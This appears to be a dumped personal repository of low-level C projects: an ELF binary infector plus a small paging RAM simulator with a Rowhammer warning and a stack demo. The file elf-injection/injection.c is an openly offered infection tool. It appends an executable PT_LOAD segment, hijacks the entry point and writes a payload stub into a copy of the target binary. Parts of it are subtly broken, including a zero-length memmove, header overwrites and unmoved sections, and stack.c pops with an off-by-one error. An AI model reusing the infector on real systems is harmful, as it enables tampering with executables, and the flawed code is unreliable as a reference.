├── .gitignore ├── README.md ├── elf-injection └── injection.c └── memory-management ├── ram ├── ram_simulator.c └── small_ram.c └── stack └── stack.c /.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !*/ 3 | !*.c 4 | !.gitignore 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Low Level Projects 2 | 3 | This repository contains various low-level programming projects focusing on system programming, memory manipulation, and binary analysis. 4 | 5 | ## Repository Structure 6 | 7 | ### Binary Manipulation 8 | Projects related to binary analysis, modification, and injection: 9 | - `elf-injection`: ELF binary infection implementation using PT_LOAD injection technique 10 | 11 | ### Memory Manipulation 12 | Projects related to memory operations and exploitation: 13 | - Stack manipulation 14 | - Heap operations 15 | - Memory mapping 16 | 17 | ### Kernel Modules 18 | Projects related to kernel programming: 19 | - Kernel module development 20 | - System call implementations 21 | - Device drivers 22 | 23 | ## Usage 24 | Each project contains its own README with specific instructions for building and running. 25 | 26 | ## Contributing 27 | Feel free to contribute by creating pull requests or opening issues for bugs and feature requests. 28 | -------------------------------------------------------------------------------- /elf-injection/injection.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | unsigned char payload[] = { 11 | 0x50, 12 | 0x48, 0xb8, 13 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 14 | 0x48, 0x89, 0x44, 0x24, 0x08, 15 | 0x58, 16 | 0xc3 17 | }; 18 | 19 | void print_usage(const char *program_name) { 20 | printf("Usage: %s \n", program_name); 21 | exit(1); 22 | } 23 | 24 | int infect_elf(const char *input_file, const char *output_file) { 25 | int fd; 26 | struct stat st; 27 | Elf64_Ehdr *ehdr; 28 | Elf64_Phdr *phdr; 29 | void *map; 30 | size_t payload_size = sizeof(payload); 31 | 32 | fd = open(input_file, O_RDONLY); 33 | if (fd < 0) { 34 | perror("open"); 35 | return -1; 36 | } 37 | 38 | if (fstat(fd, &st) < 0) { 39 | perror("fstat"); 40 | close(fd); 41 | return -1; 42 | } 43 | 44 | map = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); 45 | if (map == MAP_FAILED) { 46 | perror("mmap"); 47 | close(fd); 48 | return -1; 49 | } 50 | close(fd); 51 | 52 | ehdr = (Elf64_Ehdr *)map; 53 | if (memcmp(ehdr->e_ident, ELFMAG, SELFMAG) != 0) { 54 | fprintf(stderr, "Not a valid ELF file\n"); 55 | munmap(map, st.st_size); 56 | return -1; 57 | } 58 | 59 | phdr = (Elf64_Phdr *)(map + ehdr->e_phoff); 60 | 61 | Elf64_Phdr *last_load = NULL; 62 | for (int i = 0; i < ehdr->e_phnum; i++) { 63 | if (phdr[i].p_type == PT_LOAD) { 64 | last_load = &phdr[i]; 65 | } 66 | } 67 | 68 | if (!last_load) { 69 | fprintf(stderr, "No PT_LOAD segment found\n"); 70 | munmap(map, st.st_size); 71 | return -1; 72 | } 73 | 74 | uint64_t page_size = 0x1000; 75 | uint64_t new_vaddr = (last_load->p_vaddr + last_load->p_memsz + page_size - 1) & ~(page_size - 1); 76 | uint64_t file_offset = (st.st_size + page_size - 1) & ~(page_size - 1); 77 | 78 | int out_fd = open(output_file, O_WRONLY | O_CREAT | O_TRUNC, 0755); 79 | if (out_fd < 0) { 80 | perror("open"); 81 | munmap(map, st.st_size); 82 | return -1; 83 | } 84 | 85 | if (ftruncate(out_fd, file_offset + payload_size) < 0) { 86 | perror("ftruncate"); 87 | close(out_fd); 88 | munmap(map, st.st_size); 89 | return -1; 90 | } 91 | 92 | Elf64_Phdr new_phdr; 93 | memset(&new_phdr, 0, sizeof(new_phdr)); 94 | new_phdr.p_type = PT_LOAD; 95 | new_phdr.p_flags = PF_X | PF_R; 96 | new_phdr.p_offset = file_offset; 97 | new_phdr.p_vaddr = new_vaddr; 98 | new_phdr.p_paddr = new_vaddr; 99 | new_phdr.p_filesz = payload_size; 100 | new_phdr.p_memsz = payload_size; 101 | new_phdr.p_align = page_size; 102 | 103 | uint64_t original_entry = ehdr->e_entry; 104 | *(uint64_t*)(&payload[3]) = original_entry; 105 | 106 | ehdr->e_shoff += page_size; 107 | ehdr->e_entry = new_vaddr; 108 | 109 | memmove(&phdr[ehdr->e_phnum + 1], &phdr[ehdr->e_phnum], 110 | (ehdr->e_phoff + ehdr->e_phentsize * ehdr->e_phnum) - 111 | (ehdr->e_phoff + ehdr->e_phentsize * ehdr->e_phnum)); 112 | 113 | memcpy(&phdr[ehdr->e_phnum], &new_phdr, sizeof(Elf64_Phdr)); 114 | ehdr->e_phnum++; 115 | 116 | if (write(out_fd, map, st.st_size) != st.st_size) { 117 | perror("write"); 118 | close(out_fd); 119 | munmap(map, st.st_size); 120 | return -1; 121 | } 122 | 123 | size_t padding_size = file_offset - st.st_size; 124 | char *padding = calloc(1, padding_size); 125 | if (write(out_fd, padding, padding_size) != padding_size) { 126 | perror("write padding"); 127 | free(padding); 128 | close(out_fd); 129 | munmap(map, st.st_size); 130 | return -1; 131 | } 132 | free(padding); 133 | 134 | if (write(out_fd, payload, payload_size) != payload_size) { 135 | perror("write payload"); 136 | close(out_fd); 137 | munmap(map, st.st_size); 138 | return -1; 139 | } 140 | 141 | close(out_fd); 142 | munmap(map, st.st_size); 143 | return 0; 144 | } 145 | 146 | int main(int argc, char *argv[]) { 147 | if (argc != 3) { 148 | print_usage(argv[0]); 149 | } 150 | 151 | if (infect_elf(argv[1], argv[2]) != 0) { 152 | fprintf(stderr, "Failed to infect file\n"); 153 | return 1; 154 | } 155 | 156 | return 0; 157 | } -------------------------------------------------------------------------------- /memory-management/ram/ram_simulator.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define PHYSICAL_MEMORY_SIZE 1024 9 | #define PHYSICAL_FRAMES 16 10 | #define VIRTUAL_PAGES 64 11 | #define ROWHAMMER_THRESHOLD 1000 12 | #define PAGE_SIZE (PHYSICAL_MEMORY_SIZE / PHYSICAL_FRAMES) 13 | 14 | typedef struct { 15 | int frame_number; 16 | bool valid; 17 | uint8_t padding[3]; 18 | } PageTableEntry; 19 | 20 | typedef struct { 21 | uint8_t PHYSICAL_MEMORY[PHYSICAL_MEMORY_SIZE]; 22 | PageTableEntry page_table[VIRTUAL_PAGES]; 23 | uint16_t free_frames_bitmap; 24 | uint32_t access_count[PHYSICAL_FRAMES]; 25 | time_t last_access_time[PHYSICAL_FRAMES]; 26 | uint64_t performance_stats[4]; // hits, misses, reads, writes 27 | } RamSimulator; 28 | 29 | static inline bool is_frame_free(uint16_t bitmap, int frame) { 30 | return !(bitmap & (1 << frame)); 31 | } 32 | 33 | static inline void mark_frame_used(uint16_t* bitmap, int frame) { 34 | *bitmap |= (1 << frame); 35 | } 36 | 37 | static inline void mark_frame_free(uint16_t* bitmap, int frame) { 38 | *bitmap &= ~(1 << frame); 39 | } 40 | 41 | bool initialize_simulator(RamSimulator* ram) { 42 | if (!ram) return false; 43 | 44 | memset(ram->PHYSICAL_MEMORY, 0, PHYSICAL_MEMORY_SIZE); 45 | for (int i = 0; i < VIRTUAL_PAGES; i++) { 46 | ram->page_table[i].frame_number = -1; 47 | ram->page_table[i].valid = false; 48 | } 49 | 50 | ram->free_frames_bitmap = 0; 51 | memset(ram->access_count, 0, sizeof(uint32_t) * PHYSICAL_FRAMES); 52 | memset(ram->last_access_time, 0, sizeof(time_t) * PHYSICAL_FRAMES); 53 | memset(ram->performance_stats, 0, sizeof(uint64_t) * 4); 54 | 55 | return true; 56 | } 57 | 58 | int find_free_frame(RamSimulator* ram) { 59 | if (!ram) return -1; 60 | 61 | if (ram->free_frames_bitmap == 0xFFFF) return -1; 62 | 63 | for (int i = 0; i < PHYSICAL_FRAMES; i++) { 64 | if (is_frame_free(ram->free_frames_bitmap, i)) { 65 | mark_frame_used(&ram->free_frames_bitmap, i); 66 | return i; 67 | } 68 | } 69 | return -1; 70 | } 71 | 72 | void check_rowhammer(RamSimulator* ram, int frame_number) { 73 | time_t current_time = time(NULL); 74 | if (ram->access_count[frame_number] > ROWHAMMER_THRESHOLD && 75 | difftime(current_time, ram->last_access_time[frame_number]) < 1.0) { 76 | printf("WARNING: Potential Rowhammer attack detected on frame %d!\n", frame_number); 77 | printf("Access count: %d\n", ram->access_count[frame_number]); 78 | } 79 | ram->last_access_time[frame_number] = current_time; 80 | } 81 | 82 | bool write_memory(RamSimulator* ram, unsigned int virtual_address, unsigned char data) { 83 | if (!ram || virtual_address >= PHYSICAL_MEMORY_SIZE) return false; 84 | 85 | unsigned int page_number = virtual_address / PAGE_SIZE; 86 | unsigned int offset = virtual_address % PAGE_SIZE; 87 | 88 | ram->performance_stats[3]++; // Increment writes 89 | 90 | if (!ram->page_table[page_number].valid) { 91 | int free_frame = find_free_frame(ram); 92 | if (free_frame == -1) { 93 | printf("Error: No free frames available\n"); 94 | ram->performance_stats[1]++; // Increment misses 95 | return false; 96 | } 97 | ram->page_table[page_number].frame_number = free_frame; 98 | ram->page_table[page_number].valid = true; 99 | } 100 | 101 | int frame_number = ram->page_table[page_number].frame_number; 102 | ram->PHYSICAL_MEMORY[frame_number * PAGE_SIZE + offset] = data; 103 | ram->access_count[frame_number]++; 104 | check_rowhammer(ram, frame_number); 105 | ram->performance_stats[0]++; // Increment hits 106 | 107 | return true; 108 | } 109 | 110 | bool read_memory(RamSimulator* ram, unsigned int virtual_address, unsigned char* data) { 111 | if (!ram || !data || virtual_address >= PHYSICAL_MEMORY_SIZE) return false; 112 | 113 | unsigned int page_number = virtual_address / PAGE_SIZE; 114 | unsigned int offset = virtual_address % PAGE_SIZE; 115 | 116 | ram->performance_stats[2]++; // Increment reads 117 | 118 | if (!ram->page_table[page_number].valid) { 119 | printf("Error: Page fault - address not mapped\n"); 120 | ram->performance_stats[1]++; // Increment misses 121 | return false; 122 | } 123 | 124 | int frame_number = ram->page_table[page_number].frame_number; 125 | *data = ram->PHYSICAL_MEMORY[frame_number * PAGE_SIZE + offset]; 126 | ram->access_count[frame_number]++; 127 | check_rowhammer(ram, frame_number); 128 | ram->performance_stats[0]++; // Increment hits 129 | 130 | return true; 131 | } 132 | 133 | void print_stats(RamSimulator* ram) { 134 | if (!ram) return; 135 | printf("\nPerformance Statistics:\n"); 136 | printf("Cache Hits: %lu\n", ram->performance_stats[0]); 137 | printf("Cache Misses: %lu\n", ram->performance_stats[1]); 138 | printf("Total Reads: %lu\n", ram->performance_stats[2]); 139 | printf("Total Writes: %lu\n", ram->performance_stats[3]); 140 | float hit_rate = 0; 141 | if (ram->performance_stats[0] + ram->performance_stats[1] > 0) { 142 | hit_rate = (float)ram->performance_stats[0] / 143 | (ram->performance_stats[0] + ram->performance_stats[1]) * 100; 144 | } 145 | printf("Hit Rate: %.2f%%\n", hit_rate); 146 | } 147 | 148 | int main(void) { 149 | RamSimulator ram; 150 | 151 | if (!initialize_simulator(&ram)) { 152 | fprintf(stderr, "Failed to initialize RAM simulator\n"); 153 | return EXIT_FAILURE; 154 | } 155 | 156 | int choice; 157 | unsigned int address; 158 | unsigned char data; 159 | char input_buffer[32]; 160 | 161 | while (1) { 162 | printf("\nRAM Simulator Menu:\n"); 163 | printf("1. Write to RAM\n"); 164 | printf("2. Read from RAM\n"); 165 | printf("3. Show Statistics\n"); 166 | printf("4. Exit\n"); 167 | printf("Enter choice (1-4): "); 168 | 169 | if (fgets(input_buffer, sizeof(input_buffer), stdin) == NULL) { 170 | printf("Error reading input\n"); 171 | continue; 172 | } 173 | 174 | if (sscanf(input_buffer, "%d", &choice) != 1) { 175 | printf("Invalid input. Please enter a number.\n"); 176 | continue; 177 | } 178 | 179 | switch (choice) { 180 | case 1: 181 | printf("Enter virtual address (0-%d): ", PHYSICAL_MEMORY_SIZE - 1); 182 | if (scanf("%u", &address) != 1 || address >= PHYSICAL_MEMORY_SIZE) { 183 | printf("Invalid address\n"); 184 | while (getchar() != '\n'); 185 | break; 186 | } 187 | 188 | printf("Enter value (0-255): "); 189 | if (scanf("%hhu", &data) != 1) { 190 | printf("Invalid data\n"); 191 | while (getchar() != '\n'); 192 | break; 193 | } 194 | 195 | if (write_memory(&ram, address, data)) { 196 | printf("Successfully wrote %u to address %u\n", data, address); 197 | } 198 | while (getchar() != '\n'); 199 | break; 200 | 201 | case 2: 202 | printf("Enter virtual address (0-%d): ", PHYSICAL_MEMORY_SIZE - 1); 203 | if (scanf("%u", &address) != 1 || address >= PHYSICAL_MEMORY_SIZE) { 204 | printf("Invalid address\n"); 205 | while (getchar() != '\n'); 206 | break; 207 | } 208 | 209 | if (read_memory(&ram, address, &data)) { 210 | printf("Value at address %u: %u\n", address, data); 211 | } 212 | while (getchar() != '\n'); 213 | break; 214 | 215 | case 3: 216 | print_stats(&ram); 217 | break; 218 | 219 | case 4: 220 | printf("Exiting...\n"); 221 | return EXIT_SUCCESS; 222 | 223 | default: 224 | printf("Invalid choice. Please enter 1-4.\n"); 225 | break; 226 | } 227 | } 228 | 229 | return EXIT_SUCCESS; 230 | } -------------------------------------------------------------------------------- /memory-management/ram/small_ram.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define RAM_SIZE 1024 4 | 5 | int ram[RAM_SIZE]; 6 | 7 | void write_ram(int address, int data) { 8 | if (address >= 0 && address < RAM_SIZE) { 9 | ram[address] = data; 10 | printf("Data %d written to address %d\n", data, address); 11 | } else { 12 | printf("Error: Address %d is out of the bounds\n", address); 13 | } 14 | } -------------------------------------------------------------------------------- /memory-management/stack/stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | typedef struct { 6 | 7 | int top; // the top of the stack 8 | unsigned capacity; // the capacity should be positive 9 | int* array; // the array of the stack 10 | 11 | } Stack; 12 | 13 | 14 | 15 | Stack* createstack(unsigned capacity) 16 | { 17 | 18 | Stack* stack = (Stack*)malloc(sizeof(Stack)); 19 | stack->capacity = capacity; 20 | stack->top = -1; 21 | stack->array = (int*)malloc(stack->capacity * sizeof(int)); 22 | return stack; 23 | } 24 | 25 | int isfull(Stack* stack) 26 | { 27 | return stack->top == stack->capacity -1; 28 | 29 | } 30 | 31 | int isempty(Stack* stack) 32 | { 33 | return stack->top == -1; 34 | 35 | } 36 | 37 | void pushstack(Stack* stack, int item) 38 | { 39 | if(isfull(stack)){ 40 | printf("Stack overflow"); 41 | } 42 | else{stack->array[++stack->top] = item; 43 | printf("%d pushed to stack\n", item);} 44 | } 45 | int popstack(Stack* stack) 46 | { 47 | if(isempty(stack)){ 48 | return INT_MIN; 49 | } 50 | return stack->array[--stack->top]; 51 | 52 | } 53 | 54 | int main() 55 | { 56 | Stack* stack = createstack(50); 57 | pushstack(stack, 10); 58 | pushstack(stack, 20); 59 | pushstack(stack, 40); 60 | 61 | printf("%d popped from stack\n", popstack(stack)); 62 | 63 | return 0; 64 | } 65 | 66 | --------------------------------------------------------------------------------